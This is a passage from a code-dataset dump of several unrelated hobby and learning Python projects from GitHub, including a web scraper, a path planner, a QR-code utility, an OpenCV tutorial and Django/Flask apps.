UndergroundSystem object will be instantiated and called as such:\n# obj = UndergroundSystem()\n# obj.checkIn(id,stationName,t)\n# obj.checkOut(id,stationName,t)\n# param_3 = obj.getAverageTime(startStation,endStation)","repo_name":"LennyDuan/AlgorithmPython","sub_path":"1396. Design Underground System/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13504101845","text":"import networkx as nx\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy import set_printoptions\nimport plotly.graph_objs as go\n\n\ndef draw_color(label_values, G, n_node, title = ''):\n labels = {}\n for i in range(n_node):\n labels[i] = str(label_values[i])\n # nx.draw(G, labels = labels, with_labels=True)\n\n pos = nx.spring_layout(G, k=0.5, iterations=100)\n for n, p in pos.items():\n G.nodes[n]['pos'] = p\n edge_trace = go.Scatter(\n x=[],\n y=[],\n line=dict(width=0.5, color='#888'),\n hoverinfo='none',\n mode='lines')\n for edge in G.edges():\n x0, y0 = G.nodes[edge[0]]['pos']\n x1, y1 = G.nodes[edge[1]]['pos']\n edge_trace['x'] += tuple([x0, x1, None])\n edge_trace['y'] += tuple([y0, y1, None])\n node_trace = go.Scatter(\n x=[],\n y=[],\n text=[],\n mode='markers+text',\n hoverinfo='text',\n marker=dict(\n showscale=True,\n colorscale='pinkyl',\n reversescale=True,\n color=[],\n size=37,\n colorbar=dict(\n thickness=1,\n title='Node Connections',\n xanchor='left',\n titleside='right'\n ),\n line=dict(width=0)))\n for node in G.nodes():\n x, y = G.nodes[node]['pos']\n node_trace['x'] += tuple([x])\n node_trace['y'] += tuple([y])\n for node, adjacencies in enumerate(G.adjacency()):\n node_trace['marker']['color'] += tuple([round(label_values[node], 3)])\n node_info = adjacencies[0]\n node_trace['text'] += tuple([round(label_values[node], 3)])\n # print('node_info', label_values[node])\n title = title\n fig = go.Figure(data=[edge_trace, node_trace],\n layout=go.Layout(\n title=title,\n titlefont=dict(size=16),\n showlegend=False,\n hovermode='closest',\n margin=dict(b=21, l=5, r=5, t=40),\n annotations=[dict(\n text=\"\",\n showarrow=False,\n xref=\"paper\", yref=\"paper\")],\n xaxis=dict(showgrid=False, zeroline=False,\n showticklabels=False, mirror=True),\n yaxis=dict(showgrid=False, zeroline=False, showticklabels=False, mirror=True)))\n fig.show()","repo_name":"lewis841214/GraphSpectral","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"13388776234","text":"from datetime import datetime\n\nfrom fastapi import APIRouter, HTTPException, Request, Response\nfrom schemas import InsertPaymentBody\nfrom starlette.status import HTTP_201_CREATED\nfrom zaim import api\n\nrouter = APIRouter()\n\n\n# 支払い登録API\n@router.post(\"/api/v1/money/payment\", response_model=InsertPaymentBody)\ndef insert_payment(request: Request, response: Response, data: InsertPaymentBody):\n # zaimAPI(create insert/payment)呼び出し\n res = api.insert_payment_simple(\n datetime.strptime(data.date, \"%Y-%m-%d\"),\n data.amount,\n data.genre,\n data.from_account,\n )\n\n # フロントへレスポンス\n response.status_code = HTTP_201_CREATED\n if res.status_code == 200:\n return data\n raise HTTPException(status_code=404, detail=\"Create payment failed\")\n","repo_name":"eitaro1230/zaim_fastapi","sub_path":"routers/route_payment.py","file_name":"route_payment.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16184205409","text":"from yahoo_quote_download import yqd\n\ndef load_quote(ticker):\n\tprint('===', ticker, '===')\n\tprint(yqd.load_yahoo_quote(ticker, '20170515', '20170517'))\n\tprint(yqd.load_yahoo_quote(ticker, '20170515', '20170517', 'dividend'))\n\tprint(yqd.load_yahoo_quote(ticker, '20170515', '20170517', 'split'))\n\ndef get_stock_price():\n\t# Download quote for stocks\n\tload_quote('QCOM')\n\tload_quote('C')\n\tload_quote('AMD')\n\n\t# Download quote for index\n\tload_quote('^DJI')\n\nif __name__ == '__main__':\n\tget_stock_price()\n","repo_name":"sopanshewale/python-django","sub_path":"data/show_stock_price.py","file_name":"show_stock_price.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26296628346","text":"import sys\nimport requests\nfrom bs4 import BeautifulSoup\nimport fire\nimport csv\nimport os\nimport json\n\nclass Pares:\n def parselastestNews(self,url):\n res = requests.get(url)\n soup = BeautifulSoup(res.text,\"html5lib\")\n #soup = soup.find_all('body', {'data-gr-c-s-loaded': 'true'})\n #soup = BeautifulSoup(str(soup),\"html5lib\")\n #soup = soup.find_all('div', {'class': 'wapper'})\n #soup = BeautifulSoup(str(soup),\"html5lib\")\n #soup = soup.find_all('div', {'class': 'container category-wapper'})\n #soup = BeautifulSoup(str(soup),\"html5lib\")\n #soup = soup.find_all('div', {'class': 'row'})\n #soup = BeautifulSoup(str(soup),\"html5lib\")\n soup = soup.find_all('div', {'class': 'col-block'})\n soup = BeautifulSoup(str(soup),\"html5lib\")\n soup = soup.find_all('div', {'class': 'row prefix-post-category'})\n soup = BeautifulSoup(str(soup),\"html5lib\")\n soup = soup.find_all('div', {'class': 'col-xs-6 col-md-4'})\n soup = BeautifulSoup(str(soup),\"html5lib\")\n soup = soup.find_all('div', {'class': 'post-wrapper'})\n soup = BeautifulSoup(str(soup),\"html5lib\")\n soup = soup.find_all('div', {'class': 'post-info'})\n soup = BeautifulSoup(str(soup),\"html5lib\")\n \n\n newsLinks = [soup['href'] for soup in soup.find_all('a') if soup['href']!='']\n #print(newsLinks)\n \n airticlePhotos = soup.find_all('img', {'class': 'post-index-banner'})\n airticlePhotos = BeautifulSoup(str(airticlePhotos),\"html5lib\")\n airticlePhotos = [airticlePhotos['src'] for airticlePhotos in airticlePhotos.find_all('img',src=True) if len(airticlePhotos['src']) != 0]\n #print(airticlePhotos)\n \n titles = soup.find_all('a')\n titles = BeautifulSoup(str(titles),\"html5lib\")\n titles = soup.find_all('div', {'class': 'post-title'})\n titles = [title.text for title in titles]\n #print(titles)\n\n dates = soup.find_all('div', {'class': 'post-date'}) \n dates = [date.text.replace(\"\\xa0\",\"\") for date in dates]\n #print(dates)\n \n lastestNews=list()\n for i in range(len(titles)):\n lastestNews.append({\n \"title\":titles[i],\n \"newsLink\":newsLinks[i],\n \"airticlePhoto\":airticlePhotos[i],\n \"brief\":\"相關報導\",\n \"date\":dates[i]\n })\n\n #print(lastestNews)\n return lastestNews\n\nif __name__ == '__main__':\n mainPage = \"https://www.stockfeel.com.tw/category/stock-usa/\"\n parser1=Pares()\n lastestNews = parser1.parselastestNews(mainPage)\n with open('latestNews.json', 'w') as f:\n json.dump(lastestNews,f,ensure_ascii=False)\n","repo_name":"ed0033w/House-Renting","sub_path":"chatbot/paserLatestNews.py","file_name":"paserLatestNews.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15739327918","text":"import qrcode\nimport os\nfrom django.conf import settings\n\ndef return_three_digit(number):\n \"\"\"\n Takes an int and returns a 3-digit string.\n \"\"\"\n if number < 10:\n new_number = f\"00{str(number)}\"\n elif number < 100:\n new_number = f\"0{str(number)}\"\n elif number < 1000:\n new_number = f\"{str(number)}\"\n else:\n raise ValueError(\n \"This app reached 999 users or a user has over 999 projects and needs an upgrade, congratulations. Check how prj_code is handled.\")\n return new_number\n\ndef create_prj_code(user_id, project_id):\n \"\"\"\n Takes the user's id and project's id and spits out a 6-digit string.\n \"\"\"\n code_part_1 = return_three_digit(user_id)\n code_part_2 = return_three_digit(project_id)\n \n return f\"{code_part_1}{code_part_2}\"\n\n\ndef qr_code_generator(project_code):\n \"\"\"\n Requires one argument: the project code: prj_code on the Project db model.\n Generates QR code that leads to project' poll url.\n Function based on qrcode library: https://pypi.org/project/qrcode/\n \"\"\"\n base_url = \"http://127.0.0.1:8000\"\n url = f\"{base_url}/poll/{project_code}\"\n qr = qrcode.QRCode(\n version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_H,\n box_size=10,\n border=4,\n )\n qr.add_data(url)\n qr.make(fit=True)\n img = qr.make_image(back_color=(255, 255, 255), fill_color=(0, 0, 0))\n\n image_name = f\"qr_{project_code}.png\"\n\n # Save to static folder: static/dashboard/media\n save_path = os.path.join(settings.BASE_DIR, \"static\", \"dashboard\", \"media\", image_name)\n\n try:\n img.save(save_path)\n return True\n except Exception as error:\n print(f\"Failed to save QR code image: {error}\")\n return False\n\n\ndef delete_qr_code(project_code):\n \"\"\"\n Requires one argument: the project code: prj_code on the Project db model.\n Deletes the QR code image associated with the given project code.\n To be used when project is deleted.\n \"\"\"\n image_name = f\"qr_{project_code}.png\"\n\n # Delete from static folder: static/dashboard/media\n delete_path = os.path.join(\n settings.BASE_DIR, \"static\", \"dashboard\", \"media\", image_name)\n\n try:\n os.remove(delete_path)\n return True\n except OSError as error:\n print(f\"Failed to delete QR code image: {error}\")\n return False\n\ndef compareTwoStrings(string1, string2):\n \"\"\"\n Compares the equality of two strings. Returns true if strings are equal and false if they are not.\n \"\"\"\n string_1 = string1.lower()\n string_1 = string_1.replace(\" \", \"\")\n string_2 = string2.lower()\n string_2 = string_2.replace(\" \", \"\")\n\n if string_1 == string_2:\n return True\n else:\n return False\n\n","repo_name":"bgtti/polln","sub_path":"dashboard/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"18685674064","text":"import simple_network_with_numpy as sn\nimport TEST_convolution_net_main as cn\nfrom PIL import Image, ImageOps\nimport numpy as np\nimport csv\nimport sys\n\n####################\n#скорость обучения#\n###################\nglobal_alpha = 0.04\n\n###################\n#Полносвязная сеть#\n###################\nstruct = ((4, 0, \"relu\"), (1, 0, \"sigmoid\"))\t\nnet = sn.SimpleNet(struct, alpha = global_alpha, weights_file = None) \n#net = sn.SimpleNet(struct, alpha = global_alpha, weights_file = \"math_symbols_weights_conv_classifier.npz\") \n\n\n#################\n#Свёрточная сеть#\n#################\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \nlayer1 = (1, 3, 1, 1, 2, \"relu\") # слоёв на входе, размер ядер фильтра, stride, padding, слоёв на выходе/количество фильтров, активация \nlayer2 = (2, 3, 2, 1, 1, \"relu\") # слоёв на входе, размер ядер фильтра, stride, padding, слоёв на выходе/количество фильтров, активация \n\n# здесь важно указать функцию активации такую же, как и на первом слое в полносвязной сети\n\nconv_struct = (layer1,layer2)#, layer3, layer4)\nconv_net = cn.ConvNet(net, conv_struct, global_alpha, weights_file=None)\n#conv_net = cn.ConvNet(net, conv_struct, global_alpha, weights_file=(\"math_symbols_weights_conv_main.npz\"))\n\na = np.array([[1,2,-1],[2,-3,0.5], [0,0.5, -1.5]])\n\nw1 = np.array([[[[0.1, 0.2, -1], [-0.3, -1, 0.5], [1, 0.5, -1]]], \n\t\t\t\t[[[1, -0.2, 0], [-0.9, -0.5, 1], [0.8, 0.5, -0.1]]]])\n\nw2 = np.array([[[[0.2, 0.2, 0.1], [0.1, 1.0, 0], [-1.0, -0.2, -0.1]], \n\t\t\t\t[[2.0, 1.0, 1.0], [-0.3, -0.4, 1.0], [0.4, 0.5, 1.0]]]])\n\n\t\t\t\t\nwfc = np.array(\t[[0.2, 0.6, 1.0, -0.7, ]])\nprint(wfc.shape)\nprint(w1.shape)\nprint(w2.shape)\n\nfor z in conv_net.weights:\n\tprint(z.shape, \"z\")\nfor z in net.weights:\n\tprint(z.shape, \"z\")\n\t\nnet.weights = [wfc]\nconv_net.weights = [w1, w2]\t\n\nconv_net.net.out_true = [0, 1]\nconv_net.layers[0] = a[None, ...]\nconv_net.conv_forward()\nconv_net.shape_backup = conv_net.layers[-1].shape\n#print(conv_net.layers[1])\n#'''\nsn.error_func = \"MSE\"\nnet.out_true = [1]\nnet.layers[0] = conv_net.layers[-1].reshape(-1)\n#print(net.layers)\nprint(net.forward(\"test\"))\n#print(net.layers)\n\nnet.backward()\n#print(net.deltas)\n#print(net.weights)\n\nprint(\"first layer deltas \",net.calc_hidden_deltas(0))\n\nconv_net.conv_backward()\n#print(\"*\"*20)\n#print(conv_net.deltas)\nprint(\"*\"*20)\nprint(conv_net.mods)\n\nconv_net.update_conv_weights()\n#print(\"@\"*29)\n#print(conv_net.weights)\n\n\n\nnet.update_weights()\n\nconv_net.weights.clear()\n\n#'''\n","repo_name":"kkospit/kkospit-s_simple_network","sub_path":"test convolution/custom example test.py","file_name":"custom example test.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19922259088","text":"\r\nimport os\r\nfrom xml.etree import ElementTree\r\nfrom utils import with_app, pretty_print_xml\r\n\r\n\r\n#=============================================================================\r\n# Tests\r\n\r\n@with_app(buildername=\"xml\", srcdir=\"directive\", warningiserror=True)\r\ndef test_directive(app, status, warning):\r\n app.build()\r\n tree = ElementTree.parse(app.outdir / \"index.xml\")\r\n# pretty_print_xml(tree.getroot())\r\n\r\n # Verify that a latex_document node is present.\r\n assert len(tree.findall(\".//latex_document\")) == 1\r\n\r\n # Verify latex_document options.\r\n node = tree.findall(\".//latex_document\")[0]\r\n assert node.attrib[\"multilatex-filename\"] == \"sagitta\"\r\n assert \"'title': 'Sagitta'\" in node.attrib[\"multilatex-options\"]\r\n assert (node.attrib[\"multilatex-content\"]\r\n == \"[u'Content of Sagitta directive']\")\r\n","repo_name":"t4ngo/sphinxcontrib-multilatex","sub_path":"tests/test_directive.py","file_name":"test_directive.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"38192201084","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\n\r\ndef access_pixels(image): # pixels是像素的意思 读取属性 时间很长 因为解释性的语言 一步一步执行\r\n print(image.shape)\r\n height = image.shape[0]\r\n width = image.shape[1]\r\n channels = image.shape[2]\r\n print(\"width: %s, height : %s, channels : %s \" % (width, height, channels))\r\n for row in range(height):\r\n for col in range(width):\r\n for c in range(channels):\r\n pv = image[row, col, c]\r\n image[row, col, c] = 255 - pv\r\n cv.imshow(\"pixels_demo\", image)\r\n\r\n\r\ndef inverse(image): # 取反之后 速度很快 调用的是c的代码\r\n dst = cv.bitwise_not(image)\r\n cv.imshow(\"inverse demo\", dst)\r\n\r\n\r\ndef create_image():\r\n\r\n \"\"\" 多通道\r\n img = np.zeros([400, 400, 3], np.uint8) # np.uint8表示赋值的位置\r\n # img[:, :, 0] = np.ones([400, 400])*255 # B G R 是从0 开始的 所以第一个是0 表示 blue\r\n img[:, :, 2] = np.ones([400, 400]) * 255\r\n cv.imshow(\"new image\", img)\r\n\r\n \"\"\"\r\n\r\n \"\"\"单通道\r\n \r\n img = np.zeros([400, 400, 1], np.uint8) # zeros->Return a new array of given shape and type, filled with zeros.\r\n # uint8应该是无符号8位二进制整型, 其实就是unsignedchar类型\r\n img[:, :, 0] = np.ones([400, 400])*127 # 127 就是灰度的 单通道的一般的灰度图像 多通道的一般是RGB图像 np.ones 是变成1 可以乘法\r\n cv.imshow(\"new image\", img)\r\n cv.imwrite(\"D:/myImages.png\", img)\r\n \"\"\"\r\n\r\n m1 = np.ones([3, 3], np.uint8) # 最好选择浮点型float 避免被截断\r\n m1.fill(122222.388)\r\n print(m1)\r\n\r\n m2 = m1.reshape([1, 9]) # 变成一行9列 之前是三行三列 reshape 用于改变维数\r\n print(m2)\r\n\r\n m3 = np.array([[2, 3, 4], [4, 5, 6], [7, 8, 9]], np.int32) # int32 类型什么的一定要掌握\r\n # m3.fill(9) # 如果是fill(9)的话 就自动向里面填入数字9\r\n print(m3)\r\n\r\n\r\nprint(\"-------Hello Python------\")\r\nsrc = cv.imread(\"D:/vcprojects/images/demo.png\") # blue, green, red\r\ncv.namedWindow(\"input images\", cv.WINDOW_AUTOSIZE)\r\ncv.imshow(\"input image\", src)\r\nt1 = cv.getTickCount() # 读取图片之前\r\ncreate_image()\r\nt2 = cv.getTickCount() # 读取图片之后\r\ntime = (t2-t1)/cv.getTickFrequency()\r\nprint(\"time : %s ms \" % (time*1000)) # getTIckFrequency() 是获取秒数 *1000 就是毫秒数\r\ncv.waitKey(0)\r\n\r\ncv.destroyAllWindows()\r\n","repo_name":"AbelRose/Hello-OpenCV","sub_path":"tutorial_2.py","file_name":"tutorial_2.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"22670432936","text":"\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"login/\", views.login_view, name=\"login\"),\n path(\"logout/\", views.logout_view, name=\"logout\"),\n path(\"register/\", views.register, name=\"register\"),\n path(\"new_post/\", views.new_post, name=\"new_post\"),\n path(\"profile_page/\", views.profile_page, name=\"profile_page\"),\n path(\"unfollow\", views.unfollow, name=\"unfollow\"),\n path(\"follow\", views.follow, name=\"follow\"),\n path(\"following\", views.following, name=\"following\"),\n path(\"edit/\", views.edit, name=\"edit\"),\n path(\"r_like/\", views.r_like, name=\"r_like\"),\n path(\"a_like/\", views.a_like, name=\"a_like\"),\n]\n","repo_name":"3mLorenzo/Projects","sub_path":"project4/network/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28090551592","text":"from django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandError\nfrom account.models import Role, Angkatan\nfrom account.utils import load_data\n\nclass Command(BaseCommand):\n help = 'Seed Role and Angkatan from data_angkatan.json'\n\n def handle(self, *args, **options):\n Role.objects.get_or_create(role_name='admin')\n Role.objects.get_or_create(role_name='elemen')\n Role.objects.get_or_create(role_name='mahasiswa baru')\n\n data_angkatan = load_data(settings.BASE_DIR + \"/account/\" + 'data_angkatan.json')\n for tahun, nama in data_angkatan.iteritems():\n if tahun != 'maba':\n angkatan, created = Angkatan.objects.get_or_create(year=tahun)\n angkatan.name = nama\n angkatan.save()\n ","repo_name":"webdevxpmb/backend","sub_path":"account/management/commands/seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"4962396893","text":"\"\"\"\n\nPath planning Sample Code with RRT*\n\nOriginal author: Atsushi Sakai(@Atsushi_twi)\nModified for T-RRT: Jack O'Neill (jroneill@wpi.edu)\n\n\"\"\"\nimport copy\nimport random\nfrom cost_map import *\nimport matplotlib.pyplot as plt\nfrom rrt import RRT\n\nshow_animation = True\n\n\nclass TRRT(RRT):\n \"\"\"\n Class for RRT Star planning\n \"\"\"\n class MyCar:\n def __init__(self):\n self.length = 5\n self.width = 2\n\n class Node:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n self.cost = 0.0\n self.parent = None\n self.goals = []\n\n def __init__(self, start, goal, obstacle_list, rand_area,\n expand_dis=0.5,\n goal_sample_rate=20,\n max_iter=100000,\n connect_circle_dist=10.0,\n map=CostMap(0, 50, 0, 50)\n ):\n self.map = map\n super().__init__(start, goal, obstacle_list,\n rand_area, expand_dis, goal_sample_rate, max_iter)\n \"\"\"\n Setting Parameter\n\n start:Start Position [x,y]\n goal:Goal Position [x,y]\n obstacleList:obstacle Positions [[x,y,size],...]\n randArea:Random Sampling Area [min,max]\n\n \"\"\"\n\n self.connect_circle_dist = connect_circle_dist\n\n def planning(self, animation=True, search_until_maxiter=True):\n \"\"\"\n rrt star path planning\n\n animation: flag for animation on or off\n search_until_maxiter: search until max iteration for path improving or not\n \"\"\"\n n_fail = 0\n T = 1\n my_car = self.MyCar()\n print(my_car.length)\n\n self.node_list = [self.start]\n for i in range(self.max_iter):\n rnd = self.get_random_point()\n nearest_ind = self.get_nearest_list_index(self.node_list, rnd)\n nearest_node = self.node_list[nearest_ind]\n new_node = self.steer(rnd, nearest_node)\n\n d, _ = self.calc_distance_and_angle(new_node, nearest_node)\n c_near = self.get_point_cost(nearest_node.x, nearest_node.y)\n c_new = self.get_point_cost(new_node.x, new_node.y)\n [trans_test, n_fail, T] = self.transition_test(c_near, c_new, d, cmax=0.5, k=0.5, t=T, nFail=n_fail)\n\n if self.check_collision(new_node, self.obstacleList) and trans_test and \\\n not self.map.vehicle_collision(my_car, new_node.x, new_node.y, threshold=0.5):\n near_inds = self.find_near_nodes(new_node)\n new_node = self.choose_parent(new_node, near_inds)\n\n if new_node:\n self.node_list.append(new_node)\n self.rewire(new_node, near_inds)\n else:\n n_fail += 1\n\n if animation and i % 1 == 0: # draw after every 5 iterations\n self.draw_graph(rnd)\n\n if not search_until_maxiter and new_node: # check reaching the goal\n d, _ = self.calc_dist_to_end(new_node)\n if d <= self.expand_dis:\n return self.generate_final_course(len(self.node_list) - 1)\n\n print(\"reached max iteration\")\n\n last_index = self.search_best_goal_node()\n if last_index:\n return self.generate_final_course(last_index)\n\n return None\n\n def min_expand_control(self, c_near, c_new, d_near_new):\n pass\n\n def transition_test(self, ci, cj, dij, cmax, k, t, n_fail):\n \"\"\"\n Note: This does not include nFail or auto-tuning of\n temperature. Refer to pg. 640 of \"SAMPLING-BASED PATH PLANNING ON CONFIGURATION-SPACE COSTMAPS\"\n to incorporate these features into this function\n \"\"\"\n alpha = 2\n n_fail_max = 100\n\n if cj > cmax:\n return [False, n_fail, t]\n if cj < ci:\n t /= alpha\n n_fail = 0\n return [True, n_fail, t]\n if t == 0:\n t = 0.0001\n if dij == 0:\n dij = 0.0001\n\n p = math.exp((-abs(cj - ci) / dij) / (k * t))\n if random.uniform(0, 1) < p:\n return [True, n_fail, t]\n else:\n if n_fail > n_fail_max:\n t *= alpha\n n_fail = 0\n else:\n n_fail += 1\n return [False, n_fail, t]\n\n def linear_transition_test(self, node, new_node, cmax, k, my_vehicle):\n x0 = node.x-my_vehicle.length/2\n xf = new_node.x+my_vehicle.length/2\n y0 = node.y-my_vehicle.width/2\n yf = new_node.y+my_vehicle.width/2\n\n max_cost, point = self.get_max_cost(x0, y0, xf, yf, node.t)\n\n dx = point[0] - node.x\n dy = point[1] - node.y\n d = math.sqrt(dx ** 2 + dy ** 2)\n\n if max_cost >= cmax:\n return False\n if max_cost == 0:\n return True\n if d == 0:\n d = 0.0001\n\n p = math.exp((-abs(max_cost)/d) / k)\n if random.uniform(0, 1) < p:\n return True\n return False\n\n def get_max_cost(self, x0, y0, xf, yf, t):\n xspan = np.linspace(x0, xf, num=50)\n yspan = np.linspace(y0, yf, num=50)\n cost_list = []\n max_cost = 0\n idx = 0\n for i in range(0, len(xspan)):\n cost_list.append(max_cost)\n if cost_list[-1] > max_cost:\n max_cost = cost_list[-1]\n idx = i\n return [max_cost, [xspan[idx], yspan[idx]]]\n\n def get_point_cost(self, x, y):\n j = list(self.map.x_span).index(min(self.map.x_span, key=lambda temp: abs(temp - x)))\n i = list(self.map.y_span).index(min(self.map.y_span, key=lambda temp: abs(temp - y)))\n return self.map.cost_map[i, j]\n\n def choose_parent(self, new_node, near_inds):\n if not near_inds:\n return None\n\n # search nearest cost in near_inds\n costs = []\n for i in near_inds:\n d, theta = self.calc_distance_and_angle(self.node_list[i], new_node)\n if self.check_collision_extend(self.node_list[i], theta, d):\n costs.append(self.node_list[i].cost + d)\n else:\n costs.append(float(\"inf\")) # the cost of collision node\n min_cost = min(costs)\n\n if min_cost == float(\"inf\"):\n print(\"There is no good path.(min_cost is inf)\")\n return None\n\n new_node.cost = min_cost\n min_ind = near_inds[costs.index(min_cost)]\n new_node.parent = self.node_list[min_ind]\n\n return new_node\n\n def search_best_goal_node(self):\n dist_to_goal_list = [self.calc_dist_to_goal(n.x, n.y) for n in self.node_list]\n goal_inds = [dist_to_goal_list.index(i) for i in dist_to_goal_list if i <= self.expand_dis]\n\n if not goal_inds:\n return None\n\n min_cost = min([self.node_list[i].cost for i in goal_inds])\n for i in goal_inds:\n if self.node_list[i].cost == min_cost:\n return i\n\n return None\n\n def find_near_nodes(self, new_node):\n nnode = len(self.node_list) + 1\n r = self.connect_circle_dist * math.sqrt((math.log(nnode) / nnode))\n dist_list = [(node.x - new_node.x) ** 2 +\n (node.y - new_node.y) ** 2 for node in self.node_list]\n near_inds = [dist_list.index(i) for i in dist_list if i <= r ** 2]\n return near_inds\n\n def rewire(self, new_node, near_inds):\n for i in near_inds:\n near_node = self.node_list[i]\n d, theta = self.calc_distance_and_angle(near_node, new_node)\n new_cost = new_node.cost + d\n\n if near_node.cost > new_cost:\n if self.check_collision_extend(near_node, theta, d):\n near_node.parent = new_node\n near_node.cost = new_cost\n self.propagate_cost_to_leaves(new_node)\n\n def propagate_cost_to_leaves(self, parent_node):\n for node in self.node_list:\n if node.parent == parent_node:\n d, _ = self.calc_distance_and_angle(parent_node, node)\n node.cost = parent_node.cost + d\n self.propagate_cost_to_leaves(node)\n\n def check_collision_extend(self, near_node, theta, d):\n\n tmp_node = copy.deepcopy(near_node)\n\n for i in range(int(d / self.expand_dis)):\n tmp_node.x += self.expand_dis * math.cos(theta)\n tmp_node.y += self.expand_dis * math.sin(theta)\n if not self.check_collision(tmp_node, self.obstacleList):\n return False\n\n return True\n\n @staticmethod\n def test_cost_distribution(x, y):\n return\n\n\ndef main():\n print(\"Start \" + __file__)\n\n map_bounds = [0, 25, 0, 25] # [x_min, x_max, y_min, y_max]\n\n # Define map and vehicle layout\n map = CostMap(map_bounds[0], map_bounds[1], map_bounds[2], map_bounds[3])\n Vehicle(25/2, 25/2, 0, 0, 0, map)\n # # Vehicle(45, 2, 0, 0, 0, map)\n # Vehicle(20, 10, 0, 0, 0, map)\n # # right_barrier = Barrier(0, 2.5, 100, 5, map)\n # # left_barrier = Barrier(0, 22.5, 100, 25, map)\n # Lane(0, 3.75, 100, 4.25, map, lane_cost=0.5)\n # Lane(0, 7.75, 100, 8.25, map, lane_cost=0.5)\n\n rrt = TRRT(start=[0, 0],\n goal=[[25, 25]],\n rand_area=map_bounds,\n obstacle_list=[],\n map=map)\n path = rrt.planning(animation=show_animation, search_until_maxiter=False)\n\n if path is None:\n print(\"Cannot find path\")\n else:\n print(\"found path!!\")\n\n # Draw final path\n if show_animation:\n rrt.draw_graph()\n plt.plot([x for (x, y) in path], [y for (x, y) in path], '-r')\n plt.grid(True)\n plt.pause(0.01) # Need for Mac\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jroneill97/T-RRT","sub_path":"t_rrt.py","file_name":"t_rrt.py","file_ext":"py","file_size_in_byte":9833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"70822992080","text":"\"\"\"Server for movie ratings app.\"\"\"\n\nfrom flask import Flask, render_template, request, flash, session, redirect, jsonify\nfrom model import User, Gift, Hobby, UserHobby, Question, Answer, Liked\nfrom model import connect_to_db, db\nimport crud\nimport os\nfrom jinja2 import StrictUndefined\nimport requests\n\napp = Flask(__name__)\napp.secret_key = \"dev\"\napp.jinja_env.undefined = StrictUndefined\n\nON_HEROKU = os.environ.get('ON_HEROKU')\nif ON_HEROKU:\n# get the heroku port \n port = int(os.environ.get(\"PORT\", 42039)) \nelse:\n port = 5000\n\n@app.route(\"/\")\ndef homepage():\n \"\"\"View homepage.\"\"\"\n\n return render_template(\"homepage.html\")\n\n\n@app.route('/login', methods=['POST'])\ndef login():\n \"\"\" Log user in and get user info. \"\"\"\n email = request.get_json().get('email')\n password = request.get_json().get('password')\n \n user = crud.get_user_by_email(email)\n \n if not user or user.password != password:\n return jsonify({\"success\": False})\n else:\n session['user_email'] = user.email\n return jsonify({\"success\": True, \"user\": user.username})\n\n@app.route('/signup')\ndef create_account():\n \"\"\"Create new account.\"\"\"\n\n return render_template(\"signup.html\")\n\n@app.route('/register', methods=[\"POST\"])\ndef register_user():\n \"\"\"Create a new user.\"\"\" \n \n username = request.form.get(\"username\")\n email = request.form.get(\"email\")\n password = request.form.get(\"password\")\n gender = request.form.get('gender')\n age = request.form.get('age')\n hobby_ids = request.form.getlist('hobby')\n\n user = crud.get_user_by_email(email)\n\n if user:\n flash(\"This email is already in use, please try again.\")\n else:\n new_user = crud.create_user(email, password, username, gender, age, hobby_ids)\n db.session.add(new_user)\n db.session.commit()\n flash(\"Account successfully created! Please log in.\")\n \n return redirect('/')\n\n@app.route('/logout')\ndef logout():\n session.pop('user_email', None)\n \n return redirect('/')\n\n@app.route(\"/profile\")\ndef profile():\n return render_template(\"profile.html\")\n\n@app.route(\"/user\")\ndef user(): \n email=session['user_email']\n user = crud.get_user_by_email(email)\n username = user.username\n gender = user.gender\n age = user.age\n hobbies = crud.get_hobby_name_from_hobby_object(user.hobbies)\n\n questions_object = crud.get_question_by_user(user)\n questions = []\n for question in questions_object:\n questions.append(question.to_dict())\n\n answers_object = crud.get_answer_by_user(user)\n answers=[]\n for answer in answers_object:\n answers.append({\"id\": answer.answer_id,\n \"gender\": answer.question.gender,\n \"age\": answer.question.age,\n \"hobby\": answer.question.hobby,\n \"price\": answer.question.price,\n \"gift\": answer.gift.gift_name\n })\n \n likes_object = crud.get_like_by_user(user)\n likes=[]\n for like in likes_object:\n likes.append({\"id\": like.liked_id,\n \"gender\":like.answer.question.gender,\n \"age\":like.answer.question.age,\n \"hobby\":like.answer.question.hobby,\n \"price\":like.answer.question.price,\n 